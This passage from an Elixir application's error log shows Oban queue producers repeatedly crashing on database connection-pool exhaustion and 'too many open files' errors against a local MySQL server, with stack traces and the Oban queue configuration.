    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:44:57.238127Z], limit: 3, uuid: "55790d51-9c5c-4b5a-b878-aa69bab67ad2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:57.238136Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214030>, refresh_timer: #Reference<0.2525715032.1068236804.234335>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:44:57.240827Z], limit: 5, uuid: "3f3b2dc1-74b1-4428-9465-af19e0d066cf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:57.240833Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214033>, refresh_timer: #Reference<0.2525715032.1099169794.242946>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:44:57.239664Z], limit: 5, uuid: "abda1cf9-e827-483f-935f-78a347b4a6b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:57.239670Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214029>, refresh_timer: #Reference<0.2525715032.1068236804.234356>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:44:57.239184Z], limit: 20, uuid: "5cae7190-eda1-40ad-9c31-ed74617d739f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:57.239190Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214031>, refresh_timer: #Reference<0.2525715032.1121189889.89944>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:44:57.239373Z], limit: 50, uuid: "84987256-2538-497e-a4e6-67d1ede6d65a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:57.239378Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214032>, refresh_timer: #Reference<0.2525715032.1121189889.89955>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:44:57.239712Z], limit: 10, uuid: "17c1941b-14df-41b1-8b97-c293e429bafc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:57.239718Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214028>, refresh_timer: #Reference<0.2525715032.1068236804.234361>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:10.486000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:14.156000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:17.890000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:21.111000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:45:09.240056Z], limit: 50, uuid: "8314228e-2528-4e2a-8746-331ac06f671c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:09.240061Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234491>, refresh_timer: #Reference<0.2525715032.1077411843.214317>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:45:09.241057Z], limit: 5, uuid: "3330330d-40d7-4033-856b-32ddf2dbb484", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:09.241063Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234489>, refresh_timer: #Reference<0.2525715032.1099169794.243022>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:45:09.240124Z], limit: 20, uuid: "864d8add-01c3-4f2d-84aa-fdb56899a3fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:09.240129Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234490>, refresh_timer: #Reference<0.2525715032.1077411843.214320>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
